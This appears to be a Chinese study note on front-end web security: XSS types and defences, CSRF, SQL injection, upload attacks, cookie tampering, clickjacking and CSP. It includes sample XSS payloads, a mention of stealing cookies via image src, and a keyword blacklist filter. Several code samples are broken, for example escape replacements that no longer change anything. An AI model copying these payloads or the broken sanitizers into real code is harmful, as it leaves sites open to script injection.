# 前端防护
# XSS
【Cross Site Script】跨站脚本攻击 恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
- 获取页面数据
- 获取cookies
- 劫持前端逻辑
- 发送请求
- 窃取网站数据,用户资料,密码等等
如果页面没有做xss脚本防护,别人发了一个链接,正好在搜索框中输入了链接一个远程窃取脚本,https://xxx?query=<script src='xxxx;'>,信息就窃取了(通过创建图片,img.src=document.cookie拿走cookie等信息)
XSS,跨站脚本攻击,允许攻击者将恶意代码植入到提供给其它用户使用的页面中
XSS涉及到三方,即攻击者、客户端与Web应用
XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互
举个例子:
一个搜索页面,根据url参数决定关键词的内容
<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
您搜索的关键词是:<%= getParameter("keyword") %>
</div>
这里看似并没有问题,但是如果不按套路出牌呢?
用户输入"><script>alert('XSS');</script>,拼接到 HTML 中返回给浏览器。形成了如下的 HTML:
<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
您搜索的关键词是:"><script>alert('XSS');</script>
</div>
浏览器无法分辨出 <script>alert('XSS');</script> 是恶意代码,因而将其执行,试想一下,如果是获取cookie发送对黑客服务器呢?
根据攻击的来源,XSS攻击可以分成:
- 存储型
- 反射型
- DOM 型
# 存储型
存储型 XSS 的攻击步骤:
- 攻击者将恶意代码提交到目标网站的数据库中
- 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器
- 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
- 这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等
# 反射型 XSS
反射型 XSS 的攻击步骤:
- 攻击者构造出特殊的 URL,其中包含恶意代码
- 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器
- 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
- 反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。
反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。
由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见
# DOM 型 XSS
DOM 型 XSS 的攻击步骤:
- 攻击者构造出特殊的 URL,其中包含恶意代码
- 用户打开带有恶意代码的 URL
- 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞
防御方法:
- 过滤关键字:script javascript等
- 前端可以通过转化特殊符号 如大于号小于号之类的转化
<img src= url1 onerror=alert()> <img src= "url"1 "onerror=alert()">
注入攻击
"1 "onerror=alert()
function escape(str) {
str = str.replace(/&/g, '&')// h5之后可以不做转义,且&符号转义要放在第一个否则对其他的有干扰
str = str.replace(/</g, '<')
str = str.replace(/>/g, '>')
str = str.replace(/"/g, '&quto;')
str = str.replace(/'/g, ''')
str = str.replace(/`/g, '`')
str = str.replace(/\//g, '/')
str = str.replace(/ /g, ''')
//空格也需要防御,除非严格遵守规范,比如上面的img标签,在代码中也加了引号,多个空格转义之后会被合成一个,所以不推荐转义
return str
}
escape('<script>alert(1)</script>')
//<script>alert(1)</script>
- 转义html内容和属性可以使用,但是如果是转义js的话,因为js不能解析html实体(如
&quto;)
// 方案1:不完整
var escapeForJs = function(str){
if(!str) return '';
str = str.replace(/\\/g,'\\\\');
str = str.replace(/"/g,'\\"');
}
//方案2: 简洁更方便
var escapeForJs = function(str){
if(!str) return "";
// 通过 json 进行转义
return JSON.stringify(str);
}
- 富文本xss防范
富文本比前三个都容易触发 XSS 漏洞(尤其是存储型XSS),这是因为富文本中的文本内容实质上就是 HTML 代码片段。要想防御 XSS,就需要做过滤操作。
过滤可分为白名单过滤和黑名单过滤。
黑名单过滤就是不让某些标签或属性出现在富文本中。我们可以利用正则匹配,将匹配到的内容替换掉。黑名单过滤法不一定能过滤“干净”,毕竟 XSS 攻击类型众多,有些攻击手段不一定被过滤到。
var xssFilter = function(html){
if(!html) return html;
// 过滤 script 标签
html = html.replace(/<\s*\/?script\s*>/g,"")
// 过滤带有 javascript 标志的脚本(比如 a 标签)
.replace(/javascript:[^'"]*/g,"")
// 过滤 onerror 事件函数
.replace(/onerror\s*=\s*['"]?[^'"]*['"]?/g,"")
// ....
return html;
}
白名单过滤就是保留部分标签和属性。
白名单过滤可以使用 JavaScript 中的一个第三方库:cheerio。可以使用 npm 进行下载或者 script 标签进行引入。
cheerio 提供了一个 load 函数,该函数接受一个 html 字符串,返回一个虚拟的DOM实例,这个实例中有许多 DOM 选择器,用法和 jQuery 很像。
import cheerio from "cheerio";
var xssFilter = function(html){
var $ = cheerio.load(html);
// 允许保留的标签和属性
var whiteList = {
'img': ["src"],
};
// 选中所有的元素
$("*").each(function(idx,elem){
// 如果白名单中没有这个元素,就把这个元素从 HTML 中删除
if(!whiteList[elem.name]){
$(elem).remove();
return;
}
// 遍历符合条件的标签中的属性,看看该属性在不在白名单中
for(var attr in elem.attributes){
if(whiteList(elem.name).indexOf(attr) === -1){
$(elem).attr(attr,null); // 将不符合条件的属性值都设成 null
}
}
});
// 最后返回处理好的 html 片段
return $.html();
}
- 可以安装插件
cnpm i --save xss
const xss = require('xss')
xss(content)
还支持自定义白名单。只需在 filterXSS 函数的第二个参数传入一个对象即可。对象的键是标签名,值是一个数组,里面传入的是标签的属性,表示这些属性不会被过滤,不在数组中的属性会被过滤。当 whiteList 的值是一个空数组时,表示去除所有的 HTML 标签,只保留文本内容。
var options = {
whiteList: {
a: ["href", "title", "target"],
}
}
- CSP: Content-Security-Policy 内容安全策略(白名单制度)
- 设置 HTTP 的 Content-Security-Policy 头部字段
- 设置网页的
<meta>标签。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<!-- 前端页面上设置,加了jquery就访问不了了-->
<meta http-equiv="Content-Security-Policy" content="form-action 'self';default-src 'self';">
</head>
<body>
<script src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-2.1.1.min.js"></script>
<script type="text/javascript">
console.log($)
</script>
</body>
</html>
// index.js
const http = require('http');
const fs = require('fs');
http.createServer((req, res) => {
const html = fs.readFileSync('index.html', 'utf8');
res.writeHead(200, {
'Content-Type': 'text-html',
//表示只能通过外联的方式来引用js和css,如果使用内联的将报错
'Content-Security-Policy': 'default-src http: https:'
});
res.end(html);
}).listen(9000);
console.log('server listening on 9000');
//只能在指定的域下加载文件,这里表示只能从同域下加载,斜杠为转义符
'Content-Security-Policy': 'default-src \'self\''
//如果要允许请求到这个域,添加进策略即可
'Content-Security-Policy': 'default-src \'self\' https://cdn.bootcss.com/'
上面的策略是无法限制form表单的提交的,如下列表单,点击后直接跳到了百度页面
<form action="https://baidu.com">
<button>click me</button>
</form>
//这时候就要设置form-action策略
'Content-Security-Policy': 'default-src \'self\' https://cdn.bootcss.com/; form-action \'self\''
设置了default-src的限制,这时img的src也会受到限制,default-src设置的是全局,如果只想限制js的请求,可以将default-src改为script-src
# 密码加密
//node 自带模块
const crypto = require('crypto');
const SECRET_KEY='J1$2HjsU_2+#';
......
一个正常的用户输入了 5 < 7 这个内容,在写入数据库前,被转义,变成了 5 < 7
在客户端中,一旦经过了 escapeHTML(),客户端显示的内容就变成了乱码( 5 < 7 )
在前端中,不同的位置所需的编码也不同。
当 5 < 7 作为 HTML 拼接页面时,可以正常显示:
<div title="comment">5 < 7</div>
当 5 < 7 通过 Ajax 返回,然后赋值给 JavaScript 的变量时,前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示,也不能直接用于内容长度计算。不能用于标题、alert 等 可以看到,过滤并非可靠的,下面就要通过防止浏览器执行恶意代码:
在使用 .innerHTML、.outerHTML、document.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent、.setAttribute() 等
如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTML、outerHTML 的 XSS 隐患在使用 .innerHTML、.outerHTML、document.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent、.setAttribute() 等
如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTML、outerHTML 的 XSS 隐患
# CSRF
【Cross Site Request Forgery】跨站点伪造请求
通过在访问用户被认为已经通过身份验证的Web应用程序的页面中包含恶意代码或链接来工作。 如果该Web应用程序的会话没有超时,攻击者可能执行未授权的命令。
防御方法:
- 在请求地址中添加 token令牌+(验证码) 并验证:限制从别的网址登录的可能(双重验证)
- 同源策略:浏览器的同源策略限制了从一个源加载的脚本只能读取或设置来自相同源的资源的属性。这有助于防止恶意网站读取或修改来自其他源的敏感数据。然而,
同源策略并不完全阻止跨站请求本身,只是限制了对响应数据的访问 - 在HTTP 头中自定义属性并验证
- 验证 HTTP Referer 字段 ( req.headers.referer )
- Get 请求不对数据进行修改
不让第三方网站访问到用户 Cookie=>后台cookie配置设置 same-site 属性进行控制(防止XSRF攻击),设置HttpOnly Cookies(防止XSS攻击)- CORS是否必要[JSONP],是否兼容老浏览器
- https:在一定程度上增加了攻击的难度,并为防御XSRF攻击提供了基础
- 加密传输:HTTPS通过加密传输数据,使得攻击者难以截获和篡改请求内容。这增加了攻击者构造有效XSRF请求的难度。
- 身份认证:HTTPS使用身份证书进行身份认证,确保通信双方的身份是可信的。这有助于防止攻击者伪装成合法用户进行攻击。
- 防重放攻击:HTTPS协议中的TLS层使用序列号和MAC算法等机制,防止了重放攻击。虽然这不是直接针对XSRF攻击的防御措施,但它增加了攻击者利用旧请求进行攻击的难度。
(ps:Http协议头中的Referer主要用来让服务器判断来源页面, 即用户是从哪个页面来的,通常被网站用来统计用户来源,是从搜索页面来的,还是从其他网站链接过来和书签等访问,以便网站合理定位.Referer有时也被用作防盗链, 即下载时判断来源地址是不是在网站域名之内, 否则不能下载或显示,如天涯就是通过Referer页面来判断用户是否能够下载图片.)
<meta name="referrer" content="..."> 标签中的 content 属性用于定义浏览器在发送请求时,应该包含哪些关于当前页面的信息作为 Referer 头部的一部分。这个属性特别在跨域请求(cross-origin requests)时有用,因为它允许网站控制何时以及如何发送 Referer 头部,以平衡隐私和安全性。
content 属性的值可以有几种不同的选项:
- no-referrer:浏览器不会发送 Referer 头部信息。这可以保护用户的隐私,但也可能影响某些网站的功能,因为它们可能依赖于 Referer 头部来进行某些操作(例如,重定向或日志记录)。
- no-referrer-when-downgrade(默认值):当请求从 HTTPS 降级到 HTTP 时,浏览器不会发送 Referer 头部。这是为了防止从加密页面泄露信息到非加密页面。对于其他类型的请求(如 HTTP 到 HTTP 或 HTTPS 到 HTTPS),浏览器会发送完整的 Referer URL。
- origin:浏览器只发送请求的源(协议、主机名和端口号)作为 Referer 头部,而不是完整的 URL。这在一定程度上保护了用户的隐私,但同时允许目标网站知道请求来自哪个源。
- origin-when-cross-origin:当请求是跨域请求时,浏览器只发送请求的源作为 Referer 头部。对于同域请求,则会发送完整的 URL。这是平衡隐私和功能的常用设置。
- unsafe-url:浏览器会发送完整的 URL 作为 Referer 头部,不论请求是否跨域。这可能会导致隐私泄露,因此在使用时要特别小心。
在 <meta name="referrer" content="origin-when-cross-origin">的例子中,content 属性的值设置为 origin-when-cross-origin,意味着浏览器在发送跨域请求时,只会在 Referer 头部中包含请求的源信息,而不是完整的 URL。这有助于保护用户的隐私,同时允许目标网站知道请求来自哪个源。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Referer Example</title>
<!-- 注意:meta 标签的 referrer 属性仅作为建议,浏览器可能会忽略 -->
<meta name="referrer" content="origin-when-cross-origin">
</head>
<body>
<form id="myForm" action="/submit-form" method="post">
<input type="text" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<button type="submit">Submit</button>
</form>
<script>
// 前端无法直接验证 Referer,但可以监听表单提交
document.getElementById('myForm').addEventListener('submit', function(event) {
// 在这里,你无法修改 Referer,但可以添加其他验证逻辑
// 例如,添加 CSRF 令牌
// ...
// 如果需要,你可以阻止表单提交(但不建议用于 Referer 验证)
// event.preventDefault();
});
</script>
</body>
</html>
from flask import Flask, request, abort
app = Flask(__name__)
@app.route('/submit-form', methods=['POST'])
def submit_form():
referer = request.headers.get('Referer')
expected_referer = 'http://example.com/your-previous-page' # 预期的 Referer URL
# 验证 Referer
if not referer or referer != expected_referer:
abort(403, description="Invalid or missing Referer header")
# 如果 Referer 有效,继续处理表单数据
username = request.form.get('username')
password = request.form.get('password')
# 在这里进行表单数据的处理和验证...
# ...
return 'Form submitted successfully'
if __name__ == '__main__':
app.run(debug=True)
# SQL注入
- 关系型数据库:access/sqlite/mysql/mssql server 用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据。
mysql.escape(username)
防御方法:
- 采用sql语句预编译和绑定变量,是防御sql注入的最佳方法。采用JDBC的预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。
- 使用正则表达式来过滤一些sql关键字,如or、where等
- 关闭检查错误,返回模糊的错误信息
# 文件上传攻击
防御措施
- 文件上传的目录设置为不可执行。
- 判断文件类型。在判断文件类型的时候,可以结合使用MIME Type,后缀检查等方式。因为对于上传文件,不能简单地通过后缀名称来判断文件的类型,(攻击者可以将后缀名称改为图片或其他)。
- 对上传的文件类型进行白名单校验,只允许上传可靠类型。
- 上传的文件需要进行重新命名,使攻击者无法猜想上传文件的访问路径,将极大地增加攻击成本。
- 限制上传文件的大小。
- 单独设置文件服务器的域名。
- 检车文件内容
# 篡改cookie
cookie设置的userId和加密算法值绑定,改了userId,改不了加密算法值,就知道被修改了
cookies+签名防止篡改
私有变换(加密)
http-only(防止xss攻击)
secure:只有在https模式才可以读取cookie
same-site:防止csrf攻击

sessionId,存在cookies里的仅仅是个随机字符串
# 点击劫持
目标网站客户以通过iframe嵌套。
- 使用js禁止内嵌。
top.location === window.locaation
- 后台设置:X-FRAME-OPTIONS 禁止内嵌
# http协议劫持和篡改
http本身是明文传输的,在链路层和代理服务器这里是非常容易探测到具体的信息。
解决方案
- https:基于TLS的http协议
- CA 证书:解决中间人攻击
ssl for free + switchhost
# 密码安全
- 禁止明文存储
- 单向变换
- 变化复杂度
- 加盐
# CSP 内容安全策略
内容安全策略(CSP)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本(XSS)和数据注入攻击等。无论是数据盗取、网站内容污染还是恶意软件分发,这些攻击都是主要的手段。
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; img-src https://*; child-src 'none';" />
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com
在这里,各种内容默认仅允许从文档所在的源获取,但存在如下例外:
- 图片可以从任何地方加载 (注意“*”通配符)。
- 多媒体文件仅允许从 media1.com 和 media2.com 加载(不允许从这些站点的子域名)。
- 可运行脚本仅允许来自于 userscripts.example.com。
Content-Security-Policy: default-src 'self' *.trusted.com
一个网站管理者允许内容来自信任的域名及其子域名(域名不必须与 CSP 设置所在的域名相同)。
